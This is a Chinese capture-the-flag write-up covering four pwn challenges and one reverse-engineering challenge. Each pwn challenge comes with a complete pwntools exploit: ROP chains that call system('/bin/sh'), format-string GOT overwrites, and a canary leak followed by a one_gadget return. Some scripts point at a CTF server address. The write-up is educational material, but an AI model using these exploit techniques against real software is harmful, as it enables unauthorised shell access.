Pwn

[scode type=”red”]非洲人怎么开容器都连不上所以 wp 都是本地。

[/scode]

[scode type=”green”]看完大佬 wp 了解到远程 docker 会过滤空格,不能使用cat flag,需要改用base64<flag。因此这篇水文没有参考意义,去看大佬的 wp 吧~

膜拜大佬师傅们的WP:

taqini

风沐云烟

[/scode]

Pwn 签到

[collapse title=”展开查看详情” status=”false”]

考点:栈溢出

gets 函数栈溢出,程序只开启 NX 保护。漏洞函数如下:

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-20h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
gets((__int64)&v4, 0LL);//溢出点
system("echo hello wrold!");
return 0;
}

程序有 system 函数,就 gets 将 /bin/sh 写入到 bss 段,然后再调用。

**完整 exp **

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context.log_level = 'debug'

#p = remote("124.156.121.112",28031)
p = process("./pwn")
elf = ELF("./pwn")

ret = 0x00000000004004ce
pop_rdi = 0x00000000004006d3
pop_rsi_r15 = 0x00000000004006d1
start = 0x400510


payload = 'a'*0x28 + p64(ret)
payload += p64(pop_rdi) + p64(0x601069)
payload += p64(elf.plt['gets'])
payload += p64(pop_rdi) + p64(0x601069) + p64(elf.plt['system'])


p.sendline(payload)
p.recvuntil('hello wrold!')


#gdb.attach(p)
p.sendline('/bin/sh\x00')
p.interactive()

远程环境过滤了空格等,我非洲人就没有看到过远程长什么样!!!

[/collapse]

Pwn_MagicString

[collapse title=”展开查看详情” status=”false”]

考点:栈溢出

emmm这题和签到题怎么这么雷同,一样的思路,一样的方法。

完整 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context.log_level = 'debug'
p = remote("124.156.121.112",28061)
#p = process("./pwn")
elf = ELF("./pwn")

pop_rdi = 0x0000000000400733
ret = 0x00000000004004d1
bss = 0x601060

payload = 'a' *0x2a8# + p64(ret)
payload += p64(pop_rdi) + p64(bss) + p64(elf.plt['gets'])
payload += p64(pop_rdi) + p64(bss) + p64(elf.plt['system'])

p.recvuntil("I want a girlfriend!\n")
p.sendline(payload)
#p.sendlineafter("I want a girlfriend!\n",payload)
#gdb.attach(p)

p.sendline('/bin/sh\x00')

p.interactive()

远程环境过滤了空格等,我非洲人就没有看到过远程长什么样!!!

[/collapse]

Pwn_babyFmtstr

[collapse title=”展开查看详情” status=”false”]

考点:格式化字符串

格式化字符串长度不大于 0x32 ,漏洞函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
char *sub_400D0A()
{
char *v0; // ST08_8
char s; // [rsp+10h] [rbp-40h]
unsigned __int64 v3; // [rsp+48h] [rbp-8h]

v3 = __readfsqword(0x28u);
sleep(0);
puts("please input name:");
myiput((__int64)&s, 0x32uLL);
v0 = strdup(&s);
printf("Hello ", 0x32LL, sleep);
printf(&s);
return v0; // 返回复制字符串的指针地址
}

程序中没有 system 和 /bin/sh 字符串,也没有后门函数,需要泄露函数地址。调试后得出:第一个可控字符偏移是8,main 返回地址 __libc_start_main 偏移是25

泄露出地址后还需要 rop 回到 main 进行修改地址。因为格式化字符串长度有限制,所以尽量选择差异较小的 got 修改。main 地址是 0x400E93 ,刚好与 plt 表前几位相同,所以找那些程序中未运行过但即将运行的函数修改,比如 free 。

free 未运行过,因此 got.plt 会指向到 plt 表。

1
[0x602040] free@GLIBC_2.2.5 -> 0x4009d6 (free@plt+6)

将函数

所以构造第一条 payload ,将 free got 覆写为 main ,然后泄露出 main 返回地址:

1
payload = "%3731c%11$hn%25$paaaaaaa" + p64(elf.got['free'])

然后就是对某个函数 got 表覆写然后传 /bin/sh getshell 。我的做法是用第一轮输入覆写 strdup 为 system ,第二轮输入 /bin/sh ,当第二轮输入进行字符串复制 strdup(&s) 时 /bin/sh 被传入 system 。

所以构造第二条 payload :

1
payload = "%4148765760c%11$nAAAAAAA" + p64(elf.got['strdup'])

exp 完全不值得参考,远程网络环境不好还直接 %n 改数据(该打.png)。逐 bit 改的去看看 taqini 大佬的,或者爆破改 onegadget 的风沐云烟大佬。

[/collapse]

Pwn_tang

[collapse title=”展开查看详情” status=”false”]

考点:canary 绕过、格式化字符串

基本情况

保护措施
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
格式化字符串
1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 lookhere()
{
char buf; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts(&s);
read(0, &buf, 5uLL);
printf(&buf, &buf);//格式化字符串
return __readfsqword(0x28u) ^ v2;
}

字符串长度在 5 字节,长度不足够修改,而且 got 表也不可写。

栈溢出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-50h]
unsigned __int64 v5; // [rsp+38h] [rbp-18h]

v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
lookhere();
puts(&byte_B80);
read(0, &::buf, 0x190uLL);
lookthere();
puts(asc_BA8);
return read(0, &buf, 0x60uLL);//栈溢出
}

栈溢出长度仅可以控制 rip 返回地址。

思路

格式化字符串漏洞可以泄露内存信息,字符串长度限制 5 字节,但还是可以泄露出 canary 值,从而绕过 canary 保护。

1
2
3
4
5
#leak canary
p.recvuntil('你怎么了?\n')
p.sendline('%9$p')
canary = eval(p.recv(18))
log.success("canart:"+hex(canary))

绕过 canary 之后,就可以利用栈溢出控制程序流程。因为程序没有留后门,溢出空间非常小,就泄露 libc 地址,利用 onegadget getshell 。泄露 libc 地址还是利用格式化字符串漏洞,因此需要 rop 回到 main 。

main 函数是在 __libc_main_start 被调用,所以从返回地址找到 __libc_main_start 调用地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────
0x555555554ab0 xor rbx, qword ptr fs:[0x28]
0x555555554ab9 je 0x555555554ac0

0x555555554ac0 add rsp, 0x48
0x555555554ac4 pop rbx
0x555555554ac5 pop rbp
► 0x555555554ac6 ret <0x7ffff7a2d830; __libc_start_main+240>
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> pdisass 0x7ffff7a2d830-0x20
► 0x7ffff7a2d810 <__libc_start_main+208> add al, 0x25
0x7ffff7a2d812 <__libc_start_main+210> add byte ptr [rbx], al
0x7ffff7a2d814 <__libc_start_main+212> add byte ptr [rax], al
0x7ffff7a2d816 <__libc_start_main+214> mov rax, qword ptr [rip + 0x3a369b]
0x7ffff7a2d81d <__libc_start_main+221> mov rsi, qword ptr [rsp + 8]
0x7ffff7a2d822 <__libc_start_main+226> mov edi, dword ptr [rsp + 0x14]
0x7ffff7a2d826 <__libc_start_main+230> mov rdx, qword ptr [rax]
0x7ffff7a2d829 <__libc_start_main+233> mov rax, qword ptr [rsp + 0x18]
0x7ffff7a2d82e <__libc_start_main+238> call rax

从 0x7ffff7a2d82e 往上找到传参开始地址,将返回地址最后两位覆写为目标地址,即0x7ffff7a2d830–>0x7ffff7a2d816

1
2
3
4
5
6
7
8
9
10
#ret2main
payload = 'a'*56+p64(canary)
payload = payload.ljust(88,'a')
payload += '\x16'

p.recvuntil('烫')
p.send(payload)

p.recvuntil('火炉远一点!\n')
p.send(payload)

再次进入 main 之后泄露 libc 地址

1
2
3
4
5
6
#leak libc
p.recvuntil('你怎么了?\n')
p.send('%23$p')

__libc_start_main_240 = eval(p.recv(14))
log.success("__libc_start_main_240:"+hex(__libc_start_main_240))

最后重写返回地址为 onegadget

1
2
3
4
5
6
7
8
9
payload = 'a'*56+p64(canary)
payload = payload.ljust(88,'a')
payload += p64(one_gadget)

p.recvuntil('烫')
p.sendline('1')
gdb.attach(p)
p.recvuntil('火炉远一点!\n')
p.send(payload)
完整 exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#encoding:utf-8
from pwn import *

context.log_level = 'debug'

p = process("./pwn")
#p = remote("124.156.121.112",28081)
elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

one_gadget = 0xf1147

#leak canary
p.recvuntil('你怎么了?\n')
p.sendline('%9$p')
canary = eval(p.recv(18))
log.success("canart:"+hex(canary))

#ret2main
payload = 'a'*56+p64(canary)
payload = payload.ljust(88,'a')
payload += '\x16'

p.recvuntil('烫')
p.send(payload)

p.recvuntil('火炉远一点!\n')
p.send(payload)


#leak libc
p.recvuntil('你怎么了?\n')
p.send('%23$p')

__libc_start_main_240 = eval(p.recv(14))
log.success("__libc_start_main_240:"+hex(__libc_start_main_240))

libc_base = __libc_start_main_240 - 240 - libc.symbols['__libc_start_main']
log.success("libc_base:"+hex(libc_base))
system = libc_base + libc.symbols['system']
log.success("system:"+hex(system))
one_gadget += libc_base
log.success("one_gadget:"+hex(one_gadget))


payload = 'a'*56+p64(canary)
payload = payload.ljust(88,'a')
payload += p64(one_gadget)

p.recvuntil('烫')
p.sendline('1')
gdb.attach(p)
p.recvuntil('火炉远一点!\n')
p.send(payload)

p.interactive()

[/collapse]

RE

逆向_签到

[collapse title=”展开查看详情” status=”false”]

进来首先是逐个字符(v8)与 v7、v9 运算加密,然后结构与 v6 进行或运算。

1
2
3
4
5
6
7
do
{
v8 = sub_400818((__int64)aFlag, 0LL); // 输入值需要与v7 ^ (v7 + (v7 ^ *(&v9 + (signed int)v7)))相等
v6 |= v8 ^ v7 ^ (v7 + (v7 ^ *(&v9 + (signed int)v7)));
v4 = v7++;
}
while ( v8 && v8 != 10 && v8 != -1 );

然后就是判断 v6 值,值为 0 就是正确。

1
2
3
4
if ( v6 )                                     // 需要v6等于零,就是异或为0,就是v8后面是0
sub_400828((__int64)aFailed, 0LL, v3, v4);
else
sub_400828((__int64)aCorrect, 0LL, v3, v4);

反推出 v6 应该每一轮加密都是 0 ,进而推出 v8 = v7 ^ (v7 + (v7 ^ *(&v9 + (signed int)v7))) 。

完整 exp

1
2
3
4
c = [0x66,0x6d,0x63,0x62,0x7f,0x3a,85,106,57,82,122,55,81,19,51,35,67,70,41,61,41,32,127,28,38,77,49,20,80,94,-24]
for i in range(0,len(c)):
x = i ^ ((i ^ c[i]) + i)
print(chr(x),end='')

[/collapse]